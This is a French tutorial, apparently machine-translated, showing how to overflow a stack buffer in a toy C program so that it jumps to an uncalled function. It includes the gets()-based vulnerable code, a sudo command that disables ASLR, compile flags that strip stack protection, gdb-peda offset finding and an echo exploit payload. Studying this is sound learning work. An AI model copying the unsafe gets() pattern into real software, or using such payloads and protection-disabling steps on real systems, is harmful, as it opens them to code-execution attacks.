[LINUX] Provoque un débordement de tampon et exécute une fonction arbitraire.

Provoque un débordement de tampon et exécute une fonction arbitraire.

Un buffer overflow se produit dans un programme en langage C et l'adresse de retour est réécrite. Puisqu'il y avait peu d'articles résumant comment appeler d'autres fonctions à partir de la fonction principale, je le laisserai comme mémo.

Environnement d'exécution CentOS 6.10 GNOME 2.26.2

Puisque gdb-peda est utilisé, on suppose que l'installation y est terminée. Si vous ne l'avez pas installé, veuillez cliquer ici. Présentation de gdbpeda

Tout d'abord, préparez le programme sur lequel vous souhaitez mettre en mémoire tampon.

#include <stdio.h> 
#include <stdlib.h> 

int main(void){ 
 char first[] = "!!Hello World!!"; 
 char buf[16]; 


 puts(">>"); 
 gets(buf); 
 puts(first); 
 puts("that \'s All Fork!"); 
 return EXIT_SUCCESS; 
} 
int sub(){ 
 puts("Something wrong"); 
} 

compiler

Éteignez d'abord ASLR

sudo sysctl -w kernel.randomize_va_space=0 
compiler

PIE, protecteur de pile désactivé et compilé

gcc -o HelloWorld -O0 -g -fno-stack-protector HelloWorld.c -fno-PIE -fno-pie -fPIC 

Trouvez le décalage de l'adresse de retour

Commencez par démarrer gdb

$ gdb HelooWorld 

Créer une chaîne aléatoire

$ (gdb) pattern_create 50

Courir

$ (gdb) r

Entrez la chaîne de caractères aléatoires de plus tôt.

Ensuite, un débordement de tampon se produit et s'arrête comme ceci image.png

Notez la chaîne d'adresse RSP ici

Recherche de chaînes de décalage

$ (gdb)patto "Chaîne RSP ici"

Cela donne le décalage d'adresse. Cette fois, il s'agissait de 40 ans.

Découvrez l'adresse que vous souhaitez exécuter ensuite.

Avant de vérifier l'emplacement de l'adresse, vérifiez à nouveau l'état du buffer overflow avec gdb.

Courir

$ (gdb) r
  1. Mettez une chaîne de caractères appropriée et un débordement de tampon

Saisissez ensuite le nom de la fonction que vous souhaitez exécuter dans la commande de désactivation. Ici, c'est sous.

$ (gdb) disass sub

image.png Quand vous l'exécutez, cela ressemble à

Notez la première adresse ici.

Entrez l'adresse en décalant la valeur de décalage obtenue précédemment.

Notez que vous le saisissez en hexadécimal. Il est pratique d'utiliser la commande echo.

Dans ce cas, ce sera comme suit.

echo -e 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xea\x46\x55\x55\x55\x55\x00\x00' | ./HelooWorld 

résultat

Vous pouvez voir que la fonction sub () est appelée comme ceci! image.png

Impressions

C'est facile comme ça, mais j'ai écrit un exemple de l'opération. Selon l'environnement, les choses ne se sont pas bien passées, j'ai donc pensé qu'il était important de faire des essais et des erreurs. J'espère que cet article vous aidera dans ce cas.

Recommended Posts

Provoque un débordement de tampon et exécute une fonction arbitraire.
La vraie cause du client Jubatus crachant un timeout et abandonnant une erreur